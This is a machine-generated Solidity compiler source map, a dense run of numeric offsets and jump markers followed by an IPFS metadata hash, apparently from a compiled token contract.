21:41:0;;;;;;;;11500:174;11691:7;11288:418;-1:-1:-1;;;;11288:418:0:o;10975:305::-;-1:-1:-1;;;;;11135:15:0;;;;;;:9;:15;;;;;;:31;;11155:10;11135:19;:31::i;:::-;-1:-1:-1;;;;;11117:15:0;;;;;;;:9;:15;;;;;;:49;;;;11192:13;;;;;;;:32;;11210:13;11192:17;:32::i;:::-;-1:-1:-1;;;;;11177:13:0;;;;;;;:9;:13;;;;;;;:47;;;;11240:32;;;;;;;;;;11258:13;1361:25:1;;1349:2;1334:18;;1215:177;11240:32:0;;;;;;;;10975:305;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:416;3121:1;3158:5;3121:1;3172:270;3193:7;3183:8;3180:21;3172:270;;;3252:4;3248:1;3244:6;3240:17;3234:4;3231:27;3228:53;;;3261:18;;:::i;:::-;3311:7;3301:8;3297:22;3294:55;;;3331:16;;;;3294:55;3410:22;;;;3370:15;;;;3172:270;;;3176:3;3032:416;;;;;:::o;3453:806::-;3502:5;3532:8;3522:80;;-1:-1:-1;3573:1:1;3587:5;;3522:80;3621:4;3611:76;;-1:-1:-1;3658:1:1;3672:5;;3611:76;3703:4;3721:1;3716:59;;;;3789:1;3784:130;;;;3696:218;;3716:59;3746:1;3737:10;;3760:5;;;3784:130;3821:3;3811:8;3808:17;3805:43;;;3828:18;;:::i;:::-;-1:-1:-1;;3884:1:1;3870:16;;3899:5;;3696:218;;3998:2;3988:8;3985:16;3979:3;3973:4;3970:13;3966:36;3960:2;3950:8;3947:16;3942:2;3936:4;3933:12;3929:35;3926:77;3923:159;;;-1:-1:-1;4035:19:1;;;4067:5;;3923:159;4114:34;4139:8;4133:4;4114:34;:::i;:::-;4184:6;4180:1;4176:6;4172:19;4163:7;4160:32;4157:58;;;4195:18;;:::i;:::-;4233:20;;3453:806;-1:-1:-1;;;3453:806:1:o;4264:140::-;4322:5;4351:47;4392:4;4382:8;4378:19;4372:4;4351:47;:::i;4409:168::-;4482:9;;;4513;;4530:15;;;4524:22;;4510:37;4500:71;;4551:18;;:::i;4936:356::-;5138:2;5120:21;;;5157:18;;;5150:30;5216:34;5211:2;5196:18;;5189:62;5283:2;5268:18;;4936:356::o;5649:251::-;5719:6;5772:2;5760:9;5751:7;5747:23;5743:32;5740:52;;;5788:1;5785;5778:12;5740:52;5820:9;5814:16;5839:31;5864:5;5839:31;:::i;6826:306::-;6914:6;6922;6930;6983:2;6971:9;6962:7;6958:23;6954:32;6951:52;;;6999:1;6996;6989:12;6951:52;7028:9;7022:16;7012:26;;7078:2;7067:9;7063:18;7057:25;7047:35;;7122:2;7111:9;7107:18;7101:25;7091:35;;6826:306;;;;;:::o;7416:277::-;7483:6;7536:2;7524:9;7515:7;7511:23;7507:32;7504:52;;;7552:1;7549;7542:12;7504:52;7584:9;7578:16;7637:5;7630:13;7623:21;7616:5;7613:32;7603:60;;7659:1;7656;7649:12;10080:125;10145:9;;;10166:10;;;10163:36;;;10179:18;;:::i;10565:135::-;10604:3;10625:17;;;10622:43;;10645:18;;:::i;:::-;-1:-1:-1;10692:1:1;10681:13;;10565:135::o;10705:128::-;10772:9;;;10793:11;;;10790:37;;;10807:18;;:::i;10970:127::-;11031:10;11026:3;11022:20;11019:1;11012:31;11062:4;11059:1;11052:15;11086:4;11083:1;11076:15;11102:980;11364:4;11412:3;11401:9;11397:19;11443:6;11432:9;11425:25;11469:2;11507:6;11502:2;11491:9;11487:18;11480:34;11550:3;11545:2;11534:9;11530:18;11523:31;11574:6;11609;11603:13;11640:6;11632;11625:22;11678:3;11667:9;11663:19;11656:26;;11717:2;11709:6;11705:15;11691:29;;11738:1;11748:195;11762:6;11759:1;11756:13;11748:195;;;11827:13;;-1:-1:-1;;;;;11823:39:1;11811:52;;11918:15;;;;11883:12;;;;11859:1;11777:9;11748:195;;;-1:-1:-1;;;;;;;11999:32:1;;;;11994:2;11979:18;;11972:60;-1:-1:-1;;;12063:3:1;12048:19;12041:35;11960:3;11102:980;-1:-1:-1;;;11102:980:1:o;12087:217::-;12127:1;12153;12143:132;;12197:10;12192:3;12188:20;12185:1;12178:31;12232:4;12229:1;12222:15;12260:4;12257:1;12250:15;12143:132;-1:-1:-1;12289:9:1;;12087:217::o

ipfs://404befb644a2d24a6799e4d1b4371d2b51c15c05662976762820ee3327544952